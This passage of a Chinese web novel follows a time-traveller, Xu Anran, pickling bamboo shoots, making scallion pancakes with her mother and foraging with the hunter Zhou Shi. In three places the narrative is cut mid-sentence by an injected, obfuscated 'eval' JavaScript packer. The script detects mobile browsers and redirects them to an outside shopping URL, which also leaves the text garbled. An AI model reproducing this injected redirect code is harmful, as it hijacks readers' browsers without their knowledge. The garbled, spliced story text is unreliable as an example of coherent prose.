“娘?”她不可置信地看着苏清,这还是她那个温柔的老娘吗?这三天她在家养病的时候明明很温柔的。 周时识趣地将竹笋放在门后,悄然离开。她们娘俩都没空搭理他,自己一个人站在那里,还影响苏大娘发挥。 至于发挥什么,他就不知道了。 “不是跟你说过,上山之前回来跟我说一声吗?为娘一直在家里等着你,你腿还没好全,想去村长家问问情况,但又怕你回家见不到娘。”苏清说完,都要哭了。她放下扫帚,哪里舍得打唯一的女儿。 虽然跟苏清相处时间不长,但徐安然知道她是个泪失禁体质,感动要哭,担心也要哭。 听到她的解释,内心自责得不行。但同时又很开心,这就是被人惦记的感觉。 她连忙上前抱住苏清,将脑袋窝在她的肩膀,闷闷道:“娘,安然知道错了。” 这一次叫娘,她带着自己的情感。 苏清也觉察了,她猛地怔住,好一会儿,才回抱住徐安然,“娘刚刚情绪有些激动了,对不起。” “娘……您不用跟我道歉,是我该反思才是。” 母女俩在此敞开心扉,徐安然迫不及待地领着苏清看她今天的胜果,她指着被放在院子里的竹笋,“你看,这就是能让我们赚第一笔钱的东西。” 苏清走上前,拿起一根竹笋看了看,随后抬头问道:“竹笋?” “您知道?” “这东西娘早就听闻山里非常多,但没人要。安然,你费这么大劲儿背回来的竹笋,打算怎么做?” 徐安然神秘一笑,“容女儿绕个关子,您先跟我把这些竹笋皮都扒了。” 她能想到做酸笋,也是因为看到了家里有一口老井,井水能直接喝,味道甘甜,这样的井一般人家还没有呢,大多都需要到村中的池塘里取水。她们家目前也就这口井最值钱了。 她拿来两个小椅子,娘俩坐在院子里,下了几天的雨终于停了,正午的阳光洒在两人身上,暖洋洋的。 苏清虽然身体状况大不如前,但干起活儿来,却比徐安然还要利索。 如果苏清病好了,一定也是她开店之后的得力助手。想到这,徐安然真想扇自己一巴掌,连自己娘都算计。 苏清本想着只剥一半,但是徐安然却一定要今天弄完。 她说:“酸笋要的就是笋新鲜,今天挖今天做,放一天都算不新鲜了,口感会大打折扣。” 虽然不理解,但苏清全都照做了。 最后几个竹笋交给苏清剥,自己则一瘸一拐地来到井水旁,经过太阳的洗礼后,陶罐里外都干了。 将剥好的竹笋洗干净,切成大小相同的片状,沥干水分后尽数放入陶罐中,古代没有玻璃瓶,陶罐就是很好的替代工具。 酸笋的腌制方法很简单,只要保证陶罐里没有油,是干燥的,再将井水末过竹笋,盖上盖子,腌制时间三天左右,最长可以存放两年。 她并不打算一直靠着酸笋赚钱,所以保留的都是最嫩笋心,做完一切准备,光是看着这一坛罐子,都已经想要流口水了。 直到将竹笋全部腌制完成,已到傍晚时分。 徐安然累瘫在椅子上,摇摇欲坠的椅子,她坐着都不安心。 看着身后的椅子,她暗自发誓,赚了钱第一件事给苏清治病,第二件事就要把椅子换了。 目标在眼前,她更有动力了。 不过……在赚钱之前,她必须得问清楚一件事。 晚饭时间,母女俩对面而坐。 “娘,咱家应该没有欠别人钱吧?” 苏清不明白徐安然为什么会这么问,但还是认真地摇了摇头:“没有。只有别人欠我们钱。” “就是那个携款跑路的,老爹曾经的伥鬼好友?” “对,那人名叫许山,听人说,如今在汴京做生意,我也不知真假。” “汴京……”那很远了,不过,徐安然认真地看着苏清的双眼,“等我生意做大了,亲自去一趟,把咋们家的钱要回来。这样,爹泉下有知,也能开心些。” “娘不求你真的能拿回这笔钱,只求我们家安然啊,健康平安地过自己的小日子,不愁吃喝,天天开心,娘就知足了。” 徐安然握住苏清的手,“这也是安然所求的。娘,我们母女俩朝着这个目标努力,我们一起。” “好~” 之后的时间里,徐安然又给苏清大致讲了自己的生意宏图,听完后,苏清眼里的欣赏彻底藏不住了。她很好奇,新女儿以前是个什么样的人,于是她问:“安然,你昨天说,你来自另一个世界?” “嗯!”徐安然将手里的葱花饼放在,说,“我从小就是孤儿,在孤儿院长大,院长妈 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于是接下来的时间,徐安然旁敲侧击地向苏清打听了一番,“娘,上次救我的那位猎户大哥,你了解多少,你觉得他这个人靠谱吗?” 虽然疑惑女儿为什么要打听其他男人,但一想到周时的脸,苏清好像明白了。 她女儿长大了,有些少女心事很正常。 “他不算是真正的山亭村人,是周老猎户在山上捡来的孩子。周时这孩子也是可怜,被扔在山里虽然被老猎户捡回去了,但这老猎户的命跟你爹一样薄,在周时八岁时就去世了,临终前,将那孩子托付给自己的好兄弟李四,就住在周时家旁边,也是个猎户。周时那孩子是个孝顺的,这么些年一直在报答李四的恩,不过……” “不过什么?” “不过,那孩子好像性格方面有些问题,二十五了也不娶妻,村里人都说……都说……”苏清有些难以启齿,“哎呀,那话羞得很。” 虽然未明说,但徐安然懂了。 “噢,原来是姐妹啊。”那更放心了。 “什么姐妹?他没有姐妹,是家中独子。”苏清一本正经地说。 “嗯嗯。”徐安然不想跟苏清解释那些,“昨天一起上山一趟,我觉得他人还不错,您也这么觉得,素以我决定等我的店开起来了,将他招来店里做事。” “这想法好,那孩子力气大,也是个热心肠,就是比较轴,你得好一通请了。” “我不怕人轴,就怕人坏。放心吧娘,我自有打算。” “娘信你。” 此时准备要出门上山的周时不知道,徐安然已经将他了解得差不多了。 今天望着空荡荡的门口,他突然想到了徐安然,一颦一笑皆在脑海中浮现。也不知道是怎么了,他以前从未这样过。 眼前突然晃出一个手的残影,打断了他的思绪。 “想什么呢?” “你在给我扇风吗,李叔。” “嘿,你这小子,几天不见都变得幽默了,不会说话就跟以前一样沉默就好。” 周时果然不说话了。 “你看我这记性!”李四拍了拍自己的脑袋,“这两天先别急着上山了,我又托你婶子在别的村给你寻了几个好人家的姑娘,都二十五了,一点也不操心自己的终身大事,我一把年纪,好要替你和你爹操心。” 以前周时听到这些话,从来都是左耳朵进右耳朵出,因为即使他拒绝,高婶还是会带人来家里。 但这次,周时十分反常,并且他自己也不曾察觉到自己的反常。 “不必了,我还没有成亲的想法。” “你个不孝的,成家立业是每个男人一生最重要的事,你打算就这样一辈子?再过几年,等你这张脸老了,就没姑娘能看得上你了。”说完,李四又突然觉得自己说话太重了,换了副温柔的语气,“找妻子,不一定要找长得很好看的,人好、对你好就行了,眼光别那么高,村里比那些比你条件差的,哪个不是已经娶妻了?你没听村里的大娘们怎么传你闲话的?等你娶了妻,这些闲话就没有了。” “李叔,村里大娘话多,您怎么也听风就是雨。” “你是觉得我年纪大了不能抽你了是吧臭小子!”说完,李四就要拿起门口的扫帚。 只是还没等扫帚落下,就听见周时说了句他都不敢相信的话,“我应该是有喜欢的女子了。李叔,您真别给我介绍了。” 明明只见过徐安然几面,但他却能常常想起他,或许,他这是心动了。 “应该是什么意思?你说清楚啊。” 周时却不想多说,他拿上匕首和弓箭,离开了家,走之前还不跟李四说:“记得帮我锁门,李叔。” 李四想追,却见到了不远处,泪眼婆娑的小柔。 见李四发现自己,小柔转身就跑,压根不给李四反应的时间。 他剁了剁脚,“这都什么跟什么啊!” 5. 第 5 章 李四知道小柔对周时的心思,也很支持两人凑一对儿,奈何周时是个木头,经常无视小柔的暗示,如今听到周时心里有了喜欢的人,不知道会有多伤心呢。不过……能让周时心动的女子,他还真想见一面。 五天时间一晃而过,期间徐安然安静在家养腿,本就是扭伤,所以好得还算快。 家里虽然没有钱入账,但是这几天家中唯一的母鸡十分给面儿,每天都能下一颗蛋,所以娘俩倒也相对勉勉强强地过了几天有鸡蛋吃的好日子。 酸笋腌制得差不多了,徐安然想带去镇上卖。这几天在村里做了几天调研,发现村民们对她新研发的酸笋并不感兴趣,想着镇上的百姓应该更能接受。 她一个人去镇上倒不是什么难事,难的是两口腌制酸笋的坛子该如何一并带上。 而且,她还想再做些葱花饼,一起摆摊卖了。 家里的葱没多少了,于是徐安然又打上了周时的主意。 这次,没有了小柔带路,天刚亮,她便动身独自去找周时。 同样的时间,周时准时开门,前几天想着的面孔此刻就出现在自己眼前,周时怀疑是不是自己看错了,正要揉眼时,徐安然说话了。 “早上好啊,周大哥。” 周时憨憨地点头:“安然姑娘,早上好。” 她今天好像有些拘谨,在得知她找自己的目的后,周时明白了。 “上山?” 她点了点头,紧接着将手上的葱花饼递给周时,讪笑道:“嘿嘿,周大哥,这是我自己烙的葱花饼,你拿着。我最近手头比较紧,等我赚了钱,我再将这次你带我上山的钱结给你,先欠着,你意下如何?” 周时看着徐安然小心翼翼看着他的模样,竟觉得有些可爱,他不露痕迹地扯了扯嘴角,说道:“这个饼就算是路费了,正好我早饭还没吃。” 这回轮到徐安然呆滞了。 这么容易就被说服了? 一定是她的葱花饼太香了。 两人依旧一前一后地上山,早晨天蒙蒙亮,村里已经有人在田里地劳作了,宁静又祥和,如果不是很缺钱,她十分喜欢这样的小农生活。 上辈子努力赚钱,要的也是这样的生活。 在一处僻静之地,有一间小屋,一间小院,猫狗相伴…… “周大哥,你平时打到的猎物,除了自己吃之外,是不是还会拿到镇上去卖?”在进山途中,徐安然试探性问。 “嗯,我打到的大部分猎物都会拿到镇子去卖,再买处理好的肉回来,很多猎物的肉不好吃,交给专门的人处理会更好。”他才不会承认,自己厨艺差。 路上,怀里的葱花饼一直散发着香味,其实他吃过早饭了,但这会还是被这股味道勾引了。 于是在徐安然不知道想什么的时候,他问:“这饼是你娘做的?” “是我做的,你快试试,看看味道如何。” 周时等的就是她这句话,等徐安然说完,他强装矜持地点了点头,一口咬下还有些余热的葱花饼。 瞬间,葱香味在口腔充斥。 “葱居然还能这么做,除了葱,你还加了什么?” “葱油,就是用猪油炸了葱白得到的油,会带着葱香味,加了些盐调味,最后放上小葱,如此便做好了。” “这葱花饼我从未在镇上见到过,何不尝试着拿去镇上卖?” 妈耶,果真是瞌睡来了就送枕头,徐安然猛拍大腿,“我正有此意!我还腌了些酸笋,打算过两天一并带去镇上卖呢。” “你不知道,葱可以做的美食太多了。就比如葱花面,用油将葱的香味炸出来,期间用水将将面煮熟,过一遍凉水,葱油炸好之后,加一勺滚烫的开水,下过凉水的面,有条件的再加上一个蛋,最后加些盐调味,一碗香喷喷的葱花面就煮好了,在这个季节,作为早餐吃,再温暖不过了。” 徐安然甚至给自己都说馋了,下山回家就让她娘擀面,然后煮一碗。 周时也被她说馋了,觉得手里的葱花饼都没那么香了。 她再继续说:“除了葱花饼之外,还有葱炒蛋、小葱拌豆腐,还可以做成饼干呢,葱花饼干,不是你现在吃的葱花饼哦,是那种硬硬的,可以当作零食吃的葱花饼干,方便储存,适合当作干粮。你如果不嫌弃,我做好之后,可以分你一些,不过我有个小小的请求……你去镇上卖肉的时候,能不能顺便带上我。” 她这几天经常往村外走,跟离村的人说了几句话,得知距离她们村最近的镇子都要三公里,走路的话,要半个时辰左右,她这腿不好,是走不了的,况且还要背着笋。 在村里,她最熟的人就是小柔和周时了,小柔看着比她力气还要小。周时力气大,就是不知道他愿不愿意帮这个忙。 如果不愿意的话,她只能另想办法了,要么现在村里试卖两天,存了些钱后包个车,帮她将东西运到镇上。 “不让你白带,等我的酸笋和葱花饼卖了钱,会支付你路费,我娘身体不好,酸笋也挺重的……现在已经开春了,我娘的肺痨每到这个季节就会更严重,我想早点赚钱,抓药给我娘治病。”她往惨了说,赌的就是周时是个心软的人。 “行,你什么时候要去?拉车的李叔我认识,我跟他说一声,可以不收你钱。” “谢谢你!两日后出发。我有钱付给李叔,不过得等东西卖完回来之后。我这是第一次去镇上,就是想找个经常去的人带着,不至于迷路。”她家目前就剩下几个铜板了,已经不支持她先去镇上探查情况了,只能准备好一切,直接干。 “家里面粉还多吗?” “嗯?”徐安然不明白他为什么这么问。 不过还是说了实话:“不算多,不过我打算去村长家借一些,等我赚了钱,再买回同样的数量还给村长。” 不知道为什么,周时不希望徐安然去求别人,他说:“我家里还有十斤白面,够吗?” “嗯?”是她想的那个意思吗? 徐安然回答的声音都在颤抖。 “我借给你,不用去村长家了,我家距离你家更近。”这个理由,有些牵强。 但徐安然信了。 “等会回家了,我给你些张欠条。请你放心,这十斤白面,我一定会还你!”徐安然心花怒放,笑容格外灿烂。 周时被她这明媚的笑容晃了眼,一摸红悄悄爬上耳后根,“嗯。”他点头,“不用写欠条,我信你。” “周大哥,你果然是大好人!” 谈笑间,两人来到昨天挖笋的地方,今天徐安然的目标不是它们,径直朝不远处的一片绿地走去,那儿长满了野葱,叶子老长了。 不过徐安然只摘嫩的,放过老的。不仅有野葱,还有茴香,细细高高的,像草,所以很容易被人忽略。 周时就是其中之一,“你怎么连草都摘?”他问。 “这可不是杂草,这是茴香,一种可食用的蔬菜,有一股特殊的甜香,凉拌、炒菜、做馅、炖汤都可以。” “如何做?” “比如,茴香炒鸡蛋,将茴香切碎拌上蛋液,加盐炒熟,凉拌茴香,锅里加水入锅煮三弹指的时间就捞出,沥干水,加香油、酱油、五香粉、盐搅拌均匀……总之啊,茴香的作用很大,你如果感兴趣,也可以带一些回去试试。” 说完,徐安然将摘下来的茴香分成两份。 “它跟韭菜很像,属于割茬蔬菜,不要连根拔,用镰刀割,就跟收韭菜一样,割完之后,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092702|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟韭菜一样还能再长。” “原来如此,你懂得真多,周时受教了。” “哎。”徐安然摆了摆手,“甭客气,你不用在这守着,去周边打猎吧。” “行,有什么事依旧吹哨,我能听见。” “好。” 周时离开了茴香小葱地附近。他天天上山,但一月中也就只有那么三五天能打到大活物,三天前打了只近乎两百斤的野猪,心里也知足了,没想着这一趟会有什么收获。 只是有时候越是无心越是好运,他发现了一个兔子窝。兔子见到他跑得很快,一个个全部躲回了窝里,给了周时一网打尽的机会。 不过这次他没有当场宰杀,雪白的兔子,可爱极了。他想带回去给徐安然,不知道她会不会愿意拿回家养。 将兔子养在家中,每次见到它们的时候,徐安然应该会想到自己吧…… 周时心里想。 只是他没想到…… 徐安然对兔子只有做成食材的欲望。 “这个做成麻辣兔头,特别好吃!你吃过吗?”问完徐安然就后悔了,连小葱拌豆腐这道菜他们都不知道,怎么会知道麻辣兔头。 果不其然,周时迷茫地摇头。 “你不想养它们吗?我以为女孩子都会喜欢可爱的动物。” 徐安然看着瑟瑟发抖的三只兔子,摩挲着下巴,“养着也行……毕竟现在还没那么小。” 周时松了口气,养着就行。 “养大了再做成麻辣兔头,现在肉太少了。到时候我做好了,邀请你来吃,一定要来啊。” 周时:……这口气还是松得太快了。 不过,徐安然邀请他一起吃兔头……这和昌不是一件好事呢。 他点了点头,“好,我等着你的邀请。” “你就放心吧,我最会养这些动物了。”徐安然看着周时手上的三只小兔子,不怀好意地笑,“兔子肉最好吃了,特别是养得肥肥的兔子。” “我们是不是别在它们面前说这些。”周时都有些听不下去了,替兔子感到伤心。 “你没少打猎,怎么这心肠比我还软。心软的人,不适合杀生,我看你可以换个工作,比如……找个店做跑堂,你这一身体力,很合适呀。”说完,她继续眼神寻找最嫩的葱。 “嗯……”周时语噎,将兔子装回笼子里,随后来到徐安然身边,“需要我帮忙吗?” “不用。”徐安然挥了挥手,“你继续去打猎吧。” “已经打完了,今天的收获不错。” “三只兔子也叫收获不错呀?”说完,徐安然挑了挑眉,一脸了然,“哦~你在催促我。” “没有没有,你随意,我在旁边等你,有需要帮助就喊我。”周时赶紧解释。 “快好了,我想多摘一些,十斤白面可以做三十个葱花饼,还比我今天给你的饼更大一倍呢。” “好。” 周时不再说话了,他嘴笨,说得多容易被误会。 他一个一米九的大块头,站在徐安然身边,将阳光都挡了大半。上山花了半个多时辰,加上采摘的时间,这会儿太阳已经很毒辣了,晒得人皮肤发烫,但现在有周时帮挡着阳光,缓和许多。 既然决定了要养着兔子,那么兔子的粮食必不可少,山中能吃的野菜很多,这地方村里人都不敢进来,所以没被薅光,徐安然摘了些比较老的野菜,剩下的比较嫩的继续留在这里,过几天再来采正好。 这次,不需要周时做苦力了,他背着兔子,徐安然背着葱,两人并行下山。 下山的路比上山好走,不到半个时辰,她们便已经抵达山下。本以为和上次一样各回各家,结果在山下,撞见了来回徘徊的小柔…… 6. 第 6 章 虽不知道小柔为什么会在大中午的出现在这里,但还是热情地跟她打招呼。 只是,今天的小柔好像有些不对劲儿,看着她的眼神不对劲儿。 小柔此刻心中凉了半截,因为徐安然跟周时同时下山,且两人看起来十分熟络。特别是周时,他从来没有那样对自己笑过。 “哦,安然。”她魂不守舍地回。 “你怎么了?要不要去我家,给你试试我刚做好的葱花饼,过两天我还想拿到镇上去卖呢。” “葱花饼?那是什么样的饼?” “来我家就知道了。”徐安然大大咧咧地说。 她不懂小柔的心思,只一味推荐自己的葱花饼。 “算了,改日吧。”小柔挣脱了徐安然的手,转过身时看了周时一眼,便一言不发,头也不回地离开。 饶是徐安然再怎么神经大条,时候也察觉到了一丝不对劲。而且还是跟周时有关。 “你惹人家了?” “村里人都知道小柔对我有想法,如今看到你跟我一起下山,应该是不高兴了。” 周时这人,说话从不绕弯子,小柔的心思他早就知道,也早就表示拒绝。 但这么多年他身边从没有过莺莺燕燕,也就给了小柔希望。 “你们之间的恩恩怨怨不要牵扯到我啊。” 她一心只有赚钱,然后带着她娘一起过上好日子。 “放心吧,不会牵扯到你。”周时肯定地说。 “那就好。” 徐安然并未将这件事放在心上,跟周时道别后,两人在山下分开。两人家虽然距离近,但却不同路,一个在东,一个在西。 离开前,周时说:“晚些我将兔子送过去给你。” “行,谢谢你。”徐安然快速说完,拄拐杖朝自己家的方向走去。 周时回家拿东西没过太久,在她回到家的半时辰后,他便提着兔子和面粉朝着徐安然家的方向走来了。村里没人不认识周时,他一个大块头走在路上,也是无法令人忽视的存在。 大家见到他手上拿着面粉和兔子,纷纷打趣地说,“小周,拿着这么多东西,去跟哪家姑娘提亲呀?” 平日听大家调侃自己都能面不改色的周时此时却有些红了脸,不自然道:“婶子,别胡乱说。” “还害羞了,看来,木头终于开窍咯~到底是谁家姑娘呀,或者,是哪家男子?跟我们说说呗~” 周时解释不清,干脆加快了步伐,但听力极好的他还是听见了身后大家的嬉笑声。虽没什么恶意,但联想到正午时分徐安然说过的话……于是硬生生等到傍晚时分,大家都在家中吃晚饭的时候,才带着东西来到徐安然家里。 此时徐安然正在做葱花饼。 等会周时要来,她想着给周时带回家几个,当做这一趟山上的答谢。 家里还剩下一些猪油,徐安然决定全部用在葱花饼上,成败在此一举。 这一次,苏清全程观看,想在徐安然需要自己的时候,第一时间帮她。结果,压根就没有她能插手的地方。 徐安然的衣服袖子挽起,头发一并扎在脑后,身上兜着围裙,活脱脱厨师模样。她手里的面团,就像一个听话的木偶,捣、揉、揣、摔、擦,五种揉面步骤,就像一本教科书一般,呈现在苏清面前。 “好厉害。”苏清惊叹不已。 ”娘,您要是想学,我随时可以教你。” “我?我都一把年纪了,学得慢,还是算了吧。”生病这么些年,苏清零零碎碎地做了很多活,却没有真正学到过什么有用的技能,如今在自己女儿面前,苏清甚至觉得有些自卑。 所以在她提到可以教自己时,她第一反应是拒绝。 这种自我否定式,是在长期的压抑中形成的。徐安然深知这一点,所以她并不强求,她会用行动让苏清找回自信。 面团揉好之后,等待发酵。这是一个漫长的过程, 等待期间,徐安然挖了几勺猪油,葱花已经事先洗干净,大葱部分,用来炸猪油,炸好之后就是葱油,将葱油涂抹肉好的一张面皮张,只涂一面,最后在涂着猪油的面皮附近,均匀地洒上葱花。 沿锅扫上一圈融化的猪油,再将准备好的饼子贴在锅边,一面成型后,再翻另一面,反反复复,直到饼子熟透。 徐安然也不是什么都能做好做好的,柴火做饭的火候,她到现在都没能真正掌握,上次能将葱花饼做成,完全凭借运气,这次运气就没那么好了。 第一批饼都糊了。 苏清虽然有些心疼面粉,但也没责怪徐安然。 “没事儿,糊了的娘吃。” 她亲眼见过并且尝过葱花饼,深知徐安然的实力,所以没有因为一次失败就否定了她的努力。 “娘,下一批一定能做好。”徐安然认真说。 这次为了不浪费食材,她选了个小锅,然后看着火候心里默默数秒。第二次,徐安然成功了。 一个金黄酥脆的葱花饼出锅,热乎乎的,不停地在手上变换位置,最终被徐安然放在碟子里。比前几次做得都要好。 “娘,还是您先吃。” “哎,好。” 母女俩一口葱花饼刚下肚,门外就传来了敲门声。 傍晚时分,家家都在吃晚饭的时候,苏清不知是谁来敲门。 “应该是周大哥来了,我出去看看。” 徐安然快步出门,留下一脸莫名的苏清。 “周大哥?难道是周时那孩子?他来找安然做什么?”怀着一颗好奇的心,苏清也跟着徐安然走出了门。 这一出门,苏清都惊呆了。 周时身后背着一个大笼子,笼子里是三只瑟瑟发抖的小白兔,两手分别拿着一袋面粉和一吊猪肉。 徐安然显然也不知道这猪肉是怎么回事,看着还是扁担肉,是猪肉中最好吃一个部位,纯瘦无肥、嫩滑无筋膜。 周时将兔子放下,然后将猪肉递给徐安然,“面粉有些重,我替你拿进屋吧。” 难怪乡亲都说周时去提亲,这些东西确实像聘礼。 山亭村不是什么富豪村,村里的男子,大多都用几斤好肉或者鸡蛋、白面这样的食物向女方家提亲。有条件的还会准备红封。 一时间就连苏清也这样认为。 而且她女儿还接受了。 于是她连忙走出门,嘴里不停说:“等等!等等!” 正要踏进院门的脚猛地一顿,原地待着也不是,落地也不是。 徐安然有些茫然地回头:“娘,怎么不让周大哥进门?” 苏清这会儿腿脚利索了,几步化作一步走到徐安然身边,将她护在身后。 “你你你……你小子,什么时候打上我们家安然的主意了?你家长辈的呢?李老四怎么不来?” 说曹操曹操到。 下一秒,一道喜悦的声音出现,“来咯来咯,苏婶子,我来咯。” 这时,轮到周时茫然了。 李叔什么时候跟在他身后的? 李四来到周时身旁,笑得鸡贼:“小子,姜还是老的辣,我的跟踪技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周时哪里受得,再次弯腰扶起。 “苏婶子,你这就太夸张了。”李四也忍不住说道。 苏清一意孤行,她看着周时,“你两次救下安然,这礼,应该的。” 徐安然也不阻止,苏清一定程度上……跟她一样犟。 周时顺势也回了礼。 “好了,到这就行了,东西收下,今后我们两家算是结识了,今后多走动啊。” 最后还是李四先出声,二人这才罢休。 在他们离开前,徐安然递上了自己刚做好的葱花饼,“家里目前还没什么可以答谢的,只有这小小的葱花饼,刚做好的,还热乎,希望李四叔和周大哥别嫌弃。” 周时看到葱花饼眼睛都亮了,哪里还会嫌弃。 “谢谢你。”他将葱花饼都拿了去。 李四没拿到,气愤地说:“嘿你小子,这里头也有我一份呢。” 徐安然不想让叔侄俩因为一份葱花饼争吵,于是将剩下的葱花饼都给了李四。她再做就是。 正是这一举动,让李四心里对徐安然的好感又升了许多。 回家的路上,李四暗戳戳地对周时说:“你小子,占便宜了。” 周时:…… “四叔,你又在说莫名其妙的话。” 7. 第 7 章 徐安然的家距离村子比较远,周围也没几个邻居。因此这次的小误会,只有她们两家人知道。 看着一旁乐呵呵哼着歌走路的李四,周时没忍住提醒两句:“四叔,你回去别乱说,省得被有心人听了去,坏了人家姑娘的名声。” 李四仰着头看这个从八岁开始带到大的孩子,觉得好陌生,情商高得不像话,“这个先字,是什么意思?难道你真对人家姑娘有想法?你说你有喜欢的女子,就是那姑娘吧?” “不是。”周时回绝。才见过徐安然几面,就说喜欢,未免太肤浅。 “大侄子,跟四叔还矫情呢?四叔懂你。”李四坏笑,“不过你这闷葫芦终于有个喜欢的女子,得有所行动啊。” 周时迫不及待,“什么行动?” 见状,李四一脸得逞地笑:“你看,还说没心思。” “四叔!” “行行行,四叔作为一个过来人。教你几招,凑过来点。”李四压低声音,一副老师样,“首先你得确认好,人家姑娘看你是否顺眼,要是看你不顺眼,你做啥都是错的。如果姑娘看你顺眼,那你就可以送吃的、送喝的、送银子,什么值钱就送什么。男人嘛,大方点。但是有一点特别重要,你一定要给女孩子一种她被特殊照顾的感觉,你得只对这么她好,其他的女子你是一眼都不看,其他女子跟你说话,也不能搭理。” 周时挠了挠头,疑惑地问:“前面的我很赞同,但是不搭理人,那岂不是很没有礼貌?” “笨!”李四惹不住跳起来给周时脑袋来了一拳,“你这肌肉练得发达,什么时候把你的大脑也给练练啊?” 周时吃痛,他委屈地看着面前的小老头,说:“四叔,我这脑子就是被你给打傻的吧。” 李四淬了一口,“你别诬赖我。这样,四叔平日也不白拿你的肉,四婶那儿有几本讲男女爱情故事的话本,改日叔拿来给你学习学习,里头的男主角怎么做,你就怎么做。” “有用吗?” “当然!”李四十分肯定,“书中自有黄金屋听没听过?而且你四婶每天看得乐呵呵呢,女人不管多少岁都是女孩心,所以这一定是通用的。” “行,我一定认真学习。谢谢四叔。” 周时也是单纯,从小到大,他除了跟猎物生活的时间比较长,其次就是他四叔了,所以到目前为止,他依然认为李四的话非常权威。 徐安然跟他约定了两天后去镇上,李四就在眼前,便顺势说起了这件事。 “她们家目前比较困难,如果这次去镇上,生意不好的话,那这马车钱我替她出了,但您别跟她说,也别让村里其他人知道。” 山亭村三十户人家,只有李四一家的牛最能跑,相对的收费比较高。而I且村里每天去镇上的人不多,久而久之,也就只剩下李四的牛车还拉人了。 “你四叔最懂人情世故了,更别提,她还是你喜欢的女子。” 这次,周时没否认了。 两天后,周时再次见到徐安然,她和苏清一人抱着一坛罐子站在门口,在她的身后还背着热腾腾的、刚做好的葱花饼。 散发的香气,隔着几米远都能闻到。这就是葱花饼的魅力,香味穿透力很强。 李四架着马车,经过她们家门口时停下,“苏家妹子,上车了。” 虽然她姓徐,但这么多年苏清一人操持家里,时间长了,大家都改口叫徐安然为苏家妹子,也是对苏清的一种肯定。 “苏婶子,是否一同前往?”周时下车,主动帮徐安然将陶罐拿上车,罐子里有水,确实很重。 “我就不去了,这马车再加上我啊,就太拥挤了,下次吧。”苏清笑着说。 车上除了李四和周时,还有三人,都是带着东西去镇上卖的。 苏清虽然不大和村里人交往,但平时不主动找事,也不作妖,人缘还算可以,大家见到她都会乐呵呵地打招呼,今天也不例外。 车上的另外三人分别是村长家的媳妇张桂梅、李秀敏和李秀莲两姐妹,张桂梅去镇上卖熟鸡蛋,两姐妹去镇上卖袖帕。这两姐妹十分刻苦,即使在车上,也拿着针在袖,不会因为车子的颠簸而绣错,基本功了得。 这是现代的徐安然第一次去镇上,但以前的徐安然却每月都会去镇上一次,因为要将抄好的书本子还给书铺子,才能拿到报酬。 这次车上的人也认为徐安然是去书铺的,但在她上车之后,车上的众人便闻见了浓郁的葱香、混合着烤饼的面麦香气。 “安然,你这身后背的何物?香味好独特。” “葱花饼,是我这次要拿去镇上卖的。”徐安然不藏着掖着,反正到了镇上,也会被她们知道。 “那你脚边这两个罐子呢? “酸笋。” “酸笋?”李秀莲放下绣帕子的活儿,抢过李秀敏的话头,“是酸的吗?” “味道是酸的,煮熟后搭配米粥,或者跟肉一起炒,可以遮盖肉的腥臊味,很下饭,两种做法都好吃。” “我能买吗?对了,你能顺便帮我把刚刚的说过的食谱写下来吗?我记不得。” 此话一出,李秀敏连忙扯了扯李秀莲的胳膊。这一提醒,她这才意识到自己有些失了分寸,连忙捂住嘴,略带歉意地看着徐安然。 “不好意思,我妹妹口味刁钻,平日就喜欢吃酸味重的食物,她一听到酸,就像换了个人,话有些多,勿怪啊。” “姐姐,你遇见甜食的时候,比我还夸张,怎的只说我呢。”李秀莲忿忿道。 自从说完酸笋两字后,徐安然便一言不发了,实在是没她可以插嘴的机会。 安静观察下来,总算对眼前的两位年轻女子的口味喜好有了些了解。 姐姐李秀敏喜欢吃甜,妹妹李秀莲喜欢吃酸。 “你们俩呀,整日就爱斗嘴。”张桂敏是车上除了李四之外,最年长的,她一说话,两个小辈都安静听着。 待她说话完,才道:“张婶,我们姐妹俩越吵感情越好。”说完,李秀莲又重新将视线转移到徐安然身上,“安然,但是我真的挺想要你刚刚所说的酸笋做法。” “就你那厨艺,写了也是浪费安然的笔墨,不如等安然做好了,我们跟她买呢。” 徐安然兴奋地看着说话的李秀敏,手边顺势打开一小坛的酸笋,说:“我这儿正好有做好的酸笋。能直接吃的。” 这是苏清给她出的主意,大家都没吃过酸笋,如果弄些煮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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没打开之前,吃货俩姐妹就已经嗅到了独属于笋的清香,并且还有些酸,引得人口齿生津。待这盖子完全打开,铺面而来的浓郁的酸味,让在座的大家伙都狠狠嗅了嗅鼻子。 徐安然有句话说得不假,这酸笋,下饭。 至少吃货俩姐妹闻着就饿了。 “这就是已经煮熟的酸笋吗?” “对,这是试吃的,不收钱,真正要卖的酸笋还没有煮熟,需得自行带回家煮,吃多少煮多少,才能更好地保存剩下的酸笋。” “免费的?那给我来点儿。”李秀莲迫不及待地说。 徐安然笑着点了点头,她拿出干净的竹签,从坛子里挑了快酸笋递给她。既然都打开了,那么在座的人她都会给,正好,也看看她们是否能接受这样的味道。 李秀莲是个老吃家了,酸笋刚到鼻尖,她便说道:“好新鲜的气味。”说完,缓缓咬下一小口。 脆的。 有些生。汁水丰富,咀嚼间不停有竹笋的清爽和腌制后的酸香溢出,咽下后,味道仍在口内停留,浓郁、绵长。 